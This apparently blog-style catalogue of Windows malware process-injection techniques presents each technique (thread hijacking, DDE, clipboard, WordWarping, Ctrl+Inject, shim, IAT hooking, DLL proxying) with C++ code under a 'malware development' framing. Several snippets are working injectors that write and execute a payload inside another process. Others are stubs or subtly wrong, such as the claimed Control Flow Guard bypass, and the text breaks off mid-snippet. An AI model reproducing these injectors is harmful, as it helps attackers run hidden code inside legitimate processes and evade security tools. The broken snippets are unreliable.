Malware Development - Process Diaries

Malware Development - Process Diaries

Malware development encompasses a wide array of techniques aimed at creating malicious software designed to infiltrate, disrupt, or exploit computer systems. These techniques often involve sophisticated methods to evade detection and execute malicious payloads. Among the various strategies employed by malware developers are process manipulation techniques such as process camouflage, masquerading, asynchronous procedure call (APC) injection, and NLS code injection through registry modification. Process camouflage and masquerading involve disguising malicious processes as legitimate ones to evade detection by security defenses, while APC injection leverages asynchronous procedure calls to force another thread to execute custom code within a target process. Similarly, NLS code injection through registry modification enables malware to inject a malicious DLL into a process by modifying the NLS code page ID in the Windows registry, potentially bypassing security measures. These techniques underscore the continuous evolution and sophistication of malware development, posing significant challenges for cybersecurity professionals in detecting and mitigating malicious threats.

Thread execution hijacking

Thread execution hijacking is a sophisticated technique utilized by malware to elude detection by security software. By targeting an existing thread within a process, malware can execute its code discreetly, bypassing the creation of new processes or threads that might attract attention. This method, while complex, offers a stealthy means for malware to operate undetected.

During analysis, analysts often encounter specific Windows API calls that are indicative of thread execution hijacking. These include functions like CreateToolhelp32Snapshot, Thread32First, and OpenThread. These functions are leveraged by the malware to identify and select the target thread within the system.

Here's a breakdown of the key components involved:

Technique Identifiers:

  • U1223

  • E1055.003

Technique Tags:

  • thread execution hijacking

  • malware evasion

  • existing thread process

  • avoiding noisy process/thread creations

  • analysis

  • CreateToolhelp32Snapshot

  • Thread32First

Featured Windows API's:
The following Windows API functions are commonly utilized by malware authors for implementing thread execution hijacking:

  • OpenThread

  • CreateToolhelp32Snapshot

  • Thread32First

  • Thread32Next

  • CloseHandle

Code Snippets (C++):
Below is a sample C++ code snippet demonstrating how malware might employ thread execution hijacking:

#include <Windows.h>
#include <TlHelp32.h>

int main()
{
    // Create a snapshot of all running threads
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    if (hSnapshot != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te32;
        te32.dwSize = sizeof(THREADENTRY32);

        // Enumerate all running threads
        if (Thread32First(hSnapshot, &te32))
        {
            do
            {
                // Check if the thread belongs to the target process
                if (te32.th32OwnerProcessID == targetProcessId)
                {
                    // Open the thread
                    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, 0, te32.th32ThreadID);

                    if (hThread != NULL)
                    {
                        // Inject your code here

                        CloseHandle(hThread);
                    }
                }
            } while (Thread32Next(hSnapshot, &te32));
        }

        CloseHandle(hSnapshot);
    }
}

In this code snippet:

  • A snapshot of all running threads is created using CreateToolhelp32Snapshot.

  • Each thread is enumerated using Thread32First and Thread32Next.

  • Threads belonging to the target process are identified, and their handles are opened using OpenThread.

  • Malicious code can then be injected into the target thread's context.

  • Finally, thread handles are closed using CloseHandle.

Breaking BaDDEr

Dynamic Data Exchange (DDE) is a legacy protocol used for inter-process communication, particularly prevalent in older versions of Microsoft Office. Despite being disabled by default in modern Office versions due to security concerns, it remains a potential vector for exploitation. Breaking BaDDEr is a malware technique leveraging DDE injection within the explorer.exe process, which manages the Windows GUI. This method allows malicious actors to inject and execute arbitrary code discreetly.

Technique Identifier:

  • U1201

Technique Tags:

  • Data sharing protocol

  • Data sharing library

  • DDE protocol

  • Code execution

Featured Windows API's:
Below are the Windows API functions frequently utilized for DDE injection by malware authors:

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • ReadProcessMemory

  • CloseHandle

  • GetWindowThreadProcessId

  • GetWindow

  • VirtualFree

  • GetLastError

  • GetCommandLineW

  • LineTo

Code Snippets (C++):
The following C++ code demonstrates the implementation of DDE injection:

#include "../ntlib/util.h"

typedef struct tagLINK_COUNT *PLINK_COUNT;
typedef ATOM LATOM;

typedef struct tagSERVER_LOOKUP {
    LATOM           laService;
    LATOM           laTopic;
    HWND            hwndServer;
} SERVER_LOOKUP, *PSERVER_LOOKUP;

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;

#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
    // Function to inject payload into explorer.exe via DDE injection
    // Implementation omitted for brevity
}

VOID dde_list(VOID) {
    // Function to list DDE connections
    // Implementation omitted for brevity
}

int main(void) {
    LPVOID  pic;
    DWORD   len;
    int     argc;
    wchar_t **argv;

    argv = CommandLineToArgvW(GetCommandLineW(), &argc);

    if(argc != 2) {
      dde_list();
      printf("\n\nusage: dde_inject <payload>.\n");
      return 0;
    }

    len=readpic(argv[1], &pic);
    if (len==0) { printf("\ninvalid payload\n"); return 0;}

    dde_inject(pic, len);

    return 0;
}

‍‍‍

In this code:

  • dde_inject function injects a payload into explorer.exe process using DDE injection.

  • dde_list function lists DDE connections.

  • The main function parses command-line arguments, reads the payload, and invokes dde_inject.

DNS API Injection

DNS API Injection is a sophisticated technique employed by malware to modify and intercept DNS (Domain Name System) requests made by a host system. By injecting malicious code into the DNS API (Application Programming Interface) of the host system, malware can manipulate DNS requests and responses. This technique allows malware to potentially redirect traffic to malicious domains or conceal its own DNS requests, thereby evading detection.

Technique Identifier:

  • U1202

Technique Tags:

  • Overwriting DNS memory functions

  • Logging DNS queries

  • Intercepting DNS requests

  • Hiding DNS requests

  • dnsapi.dll

  • DnsApiHeapReset

Featured Windows API's:
Below are the Windows API functions commonly utilized for DNS API injection:

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • ReadProcessMemory

  • GetTickCount

  • CreateThread

  • CloseHandle

  • ShellExecuteW

  • GetWindowThreadProcessId

  • GetWindow

  • SysFreeString

  • TerminateThread

  • VirtualFree

  • GetCommandLineW

  • CoCreateInstance

  • CoInitialize

  • LineTo

Code Snippets (C++):
The following C++ code demonstrates the implementation of DNS API injection:

#include "../ntlib/util.h"

HRESULT GetDesktopShellView(REFIID riid, void **ppv) {
    // Function to get the desktop shell view
    // Implementation omitted for brevity
}

HRESULT GetShellDispatch(
  IShellView *psv, REFIID riid, void **ppv) 
{
    // Function to get the shell dispatch
    // Implementation omitted for brevity
}

HRESULT ShellExecInExplorer(PCWSTR pszFile) {
    // Function to execute a file in explorer
    // Implementation omitted for brevity
}

LPVOID GetDnsApiAddr(DWORD pid) {
    // Function to get the address of dnsapi.dll in memory
    // Implementation omitted for brevity
}

// Function to suppress network errors
VOID SuppressErrors(LPVOID lpParameter) {
    // Implementation omitted for brevity
}

VOID dns_inject(LPVOID payload, DWORD payloadSize) {
    // Function to inject payload into DNS API
    // Implementation omitted for brevity
}

int main(void) {
    // Main function to parse arguments and initiate DNS injection
    // Implementation omitted for brevity
}

This code illustrates the process of DNS API injection:

  • Obtaining the address of dnsapi.dll in memory.

  • Creating a thread to suppress network errors.

  • Injecting payload into the DNS API to manipulate DNS requests.

  • Restoring the original DNS function and cleaning up resources.

CLIPBRDWNDCLASS

CLIPBRDWNDCLASS is a window class managed by the Object Linking & Embedding (OLE) library (ole32.dll) in Windows. It handles clipboard data operations. This technique leverages a specific interface, ClipboardDataObjectInterface, associated with CLIPBRDWNDCLASS for code injection. By manipulating the clipboard data and triggering certain messages, malware can invoke methods of an IUnknown interface associated with the ClipboardDataObjectInterface, potentially leading to code execution.

Technique Identifier:

  • U1203

Technique Tags:

  • Object Linking & Embedding (OLE) library

  • Private clipboard

  • CLIPBRDWNDCLASS window class

  • Clipboard data

  • ClipboardDataObjectInterface

Featured Windows API's:
The following Windows API functions are commonly utilized for implementing this technique:

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • CloseHandle

  • GetWindowThreadProcessId

  • GetWindow

  • VirtualFree

Code Snippets (C++):
The following C++ code demonstrates the implementation of clipboard-based code injection:

cpp

typedef struct _IUnknown_t {
    // Pointer to virtual function table
    ULONG_PTR lpVtbl;
    // Virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // Executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

// The following code assumes a valid clipboard window already exists. There is no error checking.
VOID clipboard(LPVOID payload, DWORD payloadSize) {
    HANDLE     hp;
    HWND       hw;
    DWORD      id;
    IUnknown_t iu;
    LPVOID     cs, ds;
    SIZE_T     wr;

    // 1. Find a private clipboard window.
    //    Obtain the process id and open it
    hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 2. Allocate RWX memory in process and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 3. Allocate RW memory in process.
    //    Initialize and write IUnknown interface
    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    iu.Release = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);

    // 4. Set the interface property and trigger execution
    SetProp(hw, L"ClipboardDataObjectInterface", ds);
    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);

    // 5. Release memory for code and data
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

In this code:

  • A private clipboard window of the CLIPBRDWNDCLASS class is located.

  • Memory is allocated within the process associated with the clipboard window.

  • An IUnknown interface structure is initialized and written to the allocated memory.

  • The interface property of the clipboard window is set to the address of the IUnknown interface.

  • A message is sent to the clipboard window to trigger code execution.

  • Memory allocated for code and data is released after execution.

WordWarping

WordWarping is a technique that exploits edit controls, particularly Rich Edit controls, commonly used in Windows applications for entering and editing text. By modifying the EditWordBreakProc callback function, which handles word wrapping in multiline edit controls, malware can inject and execute arbitrary code within the context of an application that uses such controls.

Technique Identifier:

  • U1204

Technique Tags:

  • Rich Edit controls

  • Windows controls

  • Multiline mode

  • EditWordBreakProc callback function

  • Word wrapping

Featured Windows API's:
The following Windows API functions are utilized for implementing WordWarping:

  • VirtualAllocEx

  • WriteProcessMemory

  • VirtualAlloc

  • OpenProcess

  • CloseHandle

  • SetForegroundWindow

  • GetWindowThreadProcessId

  • GetWindow

  • VirtualFree

Code Snippets (C++):
The following C++ code demonstrates the implementation of WordWarping:

cpp

VOID wordwarping(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, wwf;
    SIZE_T        rd, wr;
    INPUT         ip;

    // 1. Get main window for wordpad.
    //    This will accept simulated keyboard input.
    wpw = FindWindow(L"WordPadClass", NULL);

    // 2. Find the rich edit control for wordpad.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

    // 3. Try get current address of Wordwrap function
    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);

    // 4. Obtain the process id for wordpad.
    GetWindowThreadProcessId(rew, &id);

    // 5. Try open the process.
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Allocate RWX memory for the payload.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 7. Write the payload to memory
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 8. Update the callback procedure
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);

    // 9. Simulate keyboard input to trigger payload
    ip.type           = INPUT_KEYBOARD;
    ip.ki.wVk         = 'A';
    ip.ki.wScan       = 0;
    ip.ki.dwFlags     = 0;
    ip.ki.time        = 0;
    ip.ki.dwExtraInfo = 0;

    SetForegroundWindow(rew);
    SendInput(1, &ip, sizeof(ip));

    // 10. Restore original Wordwrap function (if any)
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);

    // 11. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

In this code:

  • The main window for WordPad is located.

  • The Rich Edit control within WordPad is identified.

  • The current address of the Wordwrap function is retrieved.

  • The process associated with WordPad is opened.

  • Memory is allocated within the process to store the payload.

  • The payload is written into the allocated memory.

  • The EditWordBreakProc callback function of the Rich Edit control is updated to point to the payload.

  • Simulated keyboard input is sent to trigger the payload execution.

  • The original Wordwrap function address is restored after execution.

  • Memory allocated for the payload is freed, and the process handle is closed.

Ctrl+Inject

The Ctrl+Inject technique involves injecting malicious code into a process by exploiting the callback function used for control signal handlers. When a control signal, such as Ctrl+C, is received by a process, the system creates a new thread to execute a function to handle the signal. This thread is typically created by the legitimate process "csrss.exe", making it more challenging to detect the injected code.

Technique Identifier:

  • U1213

Technique Tags:

  • Callback function

  • Control signal

  • Process manipulation

  • System thread

  • Csrss.exe

  • Injection code

  • Pointer encoding

  • Control Flow Guard

  • Memory corruption

  • Buffer overflow

Featured Windows API's:

  • GetCurrentProcess

  • SetProcessValidCallTargets

  • SetConsoleCtrlHandler

  • GenerateConsoleCtrlEvent

  • EncodePointer

  • DecodePointer

Code Snippets (C++):
The following C++ code demonstrates the implementation of the Ctrl+Inject technique:

#include <Windows.h>
#include <cstdio>

// Callback function for control signal handlers
BOOL WINAPI ControlSignalHandler(DWORD dwCtrlType)
{
    // Inject malicious code here

    return TRUE;
}

int main()
{
    // Bypass pointer encoding
    void* encodedPointer = EncodePointer((PVOID)ControlSignalHandler);
    void* decodedPointer = DecodePointer(encodedPointer);

    // Bypass Control Flow Guard
    SetProcessValidCallTargets(GetCurrentProcess(), (UINT_PTR)decodedPointer, sizeof(void*));

    // Set callback function for control signal handlers
    SetConsoleCtrlHandler((PHANDLER_ROUTINE)decodedPointer, TRUE);

    // Trigger control signal (Ctrl+C)
    GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);

    return 0;
}

Explanation:

  1. The code defines a callback function called ControlSignalHandler that will be used to inject malicious code.

  2. Pointer encoding and Control Flow Guard bypass mechanisms are applied to ensure that the function can be called without triggering security mechanisms.

  3. The SetConsoleCtrlHandler function is used to set the callback function for control signal handlers.

  4. The GenerateConsoleCtrlEvent function is called to trigger a control signal, such as Ctrl+C, which will execute the injected code.

Injection Using Shims

Injection using Shims is a technique that exploits Microsoft Shims, which are provided mainly for backward compatibility. Shims allow developers to apply fixes to their programs without rewriting the code. By leveraging shims, developers can instruct the operating system on how to handle their application, essentially hooking into APIs and targeting specific executables. Malware can exploit shims for both persistence and injection purposes. When Windows loads a binary, it runs the Shim Engine to check for shimming databases and applies the appropriate fixes.

Technique Identifiers:

  • U1218, E1055.m03

Technique Tags:

  • Shims

Featured Windows API's:

  • GetProcAddress

  • LoadLibraryA

  • GetLastError

Code Snippets (C++):
The following C++ code demonstrates the implementation of Injection using Shims:

/*
    Source: https://gist.github.com/w4kfu/95a87764db7029e03f09d78f7273c4f4
    ------------------------------------------------------------------------
    dllinjshim.cpp
    Compile: cl /Fe:dllinjshim.exe dllinjshim.cpp
    Execute: dllinjshim.exe
    Install shim: sdbinst moo.sdb
    ! On Windows 10, there is a new function 'SdbIsKnownShimDll' called
    in 'SdbGetDllPath' which will check the DLL name against the following list:
    - "AcGenral.dll"
    - "AcLayers.dll"
    - "AcRes.dll"
    - "AcSpecfc.dll"
    - "AcWinRT.dll"
    - "acwow64.dll"
    - "AcXtrnal.dll"
    - "KeyboardFilterShim.dll"
    - "MasterShim.dll"
    - "depdetct"
    - "uacdetct"
    - "luadgmgt.dll"
    - "luapriv.dll"
    - "EMET.dll"
    - "EMET64.dll"
    - "LogExts.dll"
    - "LogShim.dll"
    ------------------------------------------------------------------------
*/

#include <windows.h>
#include <stdio.h>

#define INJECTED_DLL_NAME   L"moo.dll"
#define EXECUTABLE_NAME     L"calc.exe"
#define OS_PLATFORM         4                   // 0x1 : 32-bit ; 0x04 : 64-bit

#define TAGID_NULL          0

#define TAG_TYPE_LIST       0x7000
#define TAG_DATABASE        (0x1 | TAG_TYPE_LIST)
#define TAG_LIBRARY         (0x2 | TAG_TYPE_LIST)
#define TAG_INEXCLUDE       (0x3 | TAG_TYPE_LIST)
#define TAG_SHIM            (0x4 | TAG_TYPE_LIST)
#define TAG_EXE             (0x7 | TAG_TYPE_LIST)
#define TAG_MATCHING_FILE   (0x8 | TAG_TYPE_LIST)
#define TAG_SHIM_REF        (0x9 | TAG_TYPE_LIST)

#define TAG_TYPE_DWORD      0x4000
#define TAG_OS_PLATFORM     (0x23 | TAG_TYPE_DWORD)

#define TAG_TYPE_STRINGREF  0x6000
#define TAG_NAME            (0x1 | TAG_TYPE_STRINGREF)
#define TAG_MODULE          (0x3 | TAG_TYPE_STRINGREF)
#define TAG_APP_NAME        (0x6 | TAG_TYPE_STRINGREF)
#define TAG_DLLFILE         (0xA | TAG_TYPE_STRINGREF)

#define TAG_TYPE_BINARY     0x9000
#define TAG_EXE_ID          (0x4 | TAG_TYPE_BINARY)
#define TAG_DATABASE_ID     (0x7 | TAG_TYPE_BINARY)

#define TAG_TYPE_NULL       0x1000
#define TAG_INCLUDE         (0x1 | TAG_TYPE_NULL)

typedef enum _PATH_TYPE {
    DOS_PATH,
    NT_PATH
} PATH_TYPE;

typedef HANDLE PDB;
typedef DWORD TAG;
typedef DWORD INDEXID;
typedef DWORD TAGID;

typedef struct tagATTRINFO {
    TAG  tAttrID;
    DWORD dwFlags;
    union {
        ULONGLONG ullAttr;
        DWORD   dwAttr;
        TCHAR   *lpAttr;
    };
} ATTRINFO, *PATTRINFO;

typedef PDB(WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);
typedef VOID(WINAPI *SdbCloseDatabaseWritePtr)(PDB);
typedef TAGID(WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);
typedef BOOL(WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);
typedef BOOL(WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);
typedef BOOL(WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);
typedef BOOL(WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);
typedef BOOL(WINAPI *SdbWriteNULLTagPtr)(PDB, TAG);

typedef struct _APPHELP_API {
    SdbCreateDatabasePtr         SdbCreateDatabase;
    SdbCloseDatabaseWritePtr     SdbCloseDatabaseWrite;
    SdbBeginWriteListTagPtr      SdbBeginWriteListTag;
    SdbEndWriteListTagPtr        SdbEndWriteListTag;
    SdbWriteStringTagPtr         SdbWriteStringTag;
    SdbWriteDWORDTagPtr          SdbWriteDWORDTag;
    SdbWriteBinaryTagPtr         SdbWriteBinaryTag;
    SdbWriteNULLTagPtr           SdbWriteNULLTag;
} APPHELP_API, *PAPPHELP_API;

BOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {
    if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbBeginWriteListTag\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbCloseDatabaseWrite\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbCreateDatabase\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbEndWriteListTag\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteBinaryTag\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteDWORDTag\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteStringTag\")\n");
        return FALSE;
    }
    if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, "SdbWriteNULLTag"))) {
        fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteNULLTag\")\n");
        return FALSE;
    }
    return TRUE;
}

BOOL static DoStuff(PAPPHELP_API pAppHelp) {
    PDB db = NULL;
    TAGID tIdDatabase;
    TAGID tIdLibrary;
    TAGID tIdShim;
    TAGID tIdInexclude;
    TAGID tIdExe;
    TAGID tIdMatchingFile;
    TAGID tIdShimRef;

    db = pAppHelp->SdbCreateDatabase(L"moo.sdb", DOS_PATH);
    if (db == NULL) {
        fprintf(stderr, "[-] SdbCreateDatabase failed : %lu\n", GetLastError());
        return FALSE;
    }
    tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE);
    pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM);
    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Database");
    pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42", 0x10);
    tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY);
    tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM);
    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
    pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME);
    tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE);
    pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE);
    pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L"*");
    pAppHelp->SdbEndWriteListTag(db, tIdInexclude);
    pAppHelp->SdbEndWriteListTag(db, tIdShim);
    pAppHelp->SdbEndWriteListTag(db, tIdLibrary);
    tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE);
    pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME);
    pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L"moo_Apps");
    pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", 0x10);
    tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE);
    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"*");
    pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile);
    tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF);
    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
    pAppHelp->SdbEndWriteListTag(db, tIdShimRef);
    pAppHelp->SdbEndWriteListTag(db, tIdExe);
    pAppHelp->SdbEndWriteListTag(db, tIdDatabase);
    pAppHelp->SdbCloseDatabaseWrite(db);
    return TRUE;
}

int main(int argc, char *argv[]) {
    APPHELP_API api = {0};
    HMODULE hAppHelp = NULL;

    hAppHelp = LoadLibraryA("apphelp.dll");
    if (hAppHelp == NULL) {
        fprintf(stderr, "[-] LoadLibrary failed %lu\n", GetLastError());
        return 1;
    }
    if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) {
        printf("[-] Failed to load apphelp api %lu!\n", GetLastError());
        return 1;
    }
    DoStuff(&api);
    return 0;
}

Explanation:

  1. dllinjshim.cpp:

    • This code defines functions to interact with the Shim Engine and create a shimming database.

    • It utilizes various Windows API functions to manipulate shimming data.

    • The DoStuff function creates a shimming database with specified attributes, including the target executable name and the injected DLL name.

    • The main function loads the AppHelp API, creates the shimming database, and closes it.

  2. moo.cpp (DLL to be injected):

    • This code defines a DLL that will be injected into the target process using shims.

    • It exports functions GetHookAPIs and NotifyShims, which are invoked by the Shim Engine.

    • The DllMain function is called when the DLL is loaded and unloaded.

IAT Hooking

IAT Hooking is a technique used to execute malicious code by tampering with the Import Address Table (IAT) of a specific executable. This involves replacing a legitimate function imported from a DLL with a malicious one, thereby redirecting the flow of execution to the attacker's code.

Map

  • Process Manipulating

  • IAT Hooking

Technique Identifiers

  • U1217

  • F0015.003

Technique Tag

  • iat

Featured Windows API's Below are some commonly used Windows API's employed by malware authors for evasive techniques:

  • LoadLibraryA

  • MessageBoxW

Code Snippet (C++)

#include <iostream>
#include <Windows.h>
#include <winternl.h>

// Define MessageBoxA prototype
using PrototypeMessageBox = int (WINAPI *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

// Remember memory address of the original MessageBoxA routine
PrototypeMessageBox originalMsgBox = MessageBoxA;

// Hooked function with malicious code that eventually calls the original MessageBoxA
int hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    MessageBoxW(NULL, L"Ola Hooked from a Rogue Senor .o.", L"Ola Senor o/", 0);
    // Execute the original MessageBoxA
    return originalMsgBox(hWnd, lpText, lpCaption, uType);
}

int main()
{
    // Message box before IAT unhooking
    MessageBoxA(NULL, "Hello Before Hooking", "Hello Before Hooking", 0);

    LPVOID imageBase = GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);

    PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
    IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)imageBase);
    LPCSTR libraryName = NULL;
    HMODULE library = NULL;
    PIMAGE_IMPORT_BY_NAME functionName = NULL; 

    while (importDescriptor->Name != NULL)
    {
        libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;
        library = LoadLibraryA(libraryName);

        if (library)
        {
            PIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;
            originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);
            firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);

            while (originalFirstThunk->u1.AddressOfData != NULL)
            {
                functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);

                // Find MessageBoxA address
                if (std::string(functionName->Name).compare("MessageBoxA") == 0)
                {
                    SIZE_T bytesWritten = 0;
                    DWORD oldProtect = 0;
                    VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);

                    // Swap MessageBoxA address with address of hookedMessageBox
                    firstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;
                }
                ++originalFirstThunk;
                ++firstThunk;
            }
        }

        importDescriptor++;
    }

    // Message box after IAT hooking
    MessageBoxA(NULL, "Hello after Hooking", "Hello after Hooking", 0);

    return 0;
}

IAT hooking is utilized to redirect program execution by tampering with the Import Address Table (IAT) of an executable. In this code snippet, the original MessageBoxA function is replaced with a hooked function hookedMessageBox which executes malicious code before calling the original MessageBoxA function. This effectively intercepts and alters the behavior of the MessageBoxA function.

DLL Proxying

DLL Proxying

Map

  • Process Manipulating

  • DLL Proxying

Description DLL proxying is a technique employed by malware to evade detection and establish persistence on a system. It involves substituting a legitimate Dynamic Link Library (DLL) with a malicious one that shares similar exported functions and a comparable name to the original DLL.

When a program attempts to load the legitimate DLL, it inadvertently loads the malicious DLL instead. This malicious DLL serves as a proxy for the genuine one, intercepting function calls and redirecting them to the legitimate DLL. Consequently, the malware executes its own code while masquerading as the legitimate DLL, enabling it to perform malicious activities without arousing suspicion from the executing program.

By employing DLL proxying, malware can operate stealthily and evade detection by security software. Since the malicious DLL closely resembles the legitimate one, security tools find it challenging to distinguish between the two, allowing the malware to persistently execute undetected.

Technique Identifier: U1240

Technique Tags:

  • DLL proxying

  • Code obfuscation

  • Persistence

  • DLL redirection

  • Stealth operation

Code Snippet (Python)

import pefile

exported_functions = []
pe = pefile.PE('C:\\windows\\system32\\DNSAPI.dll')
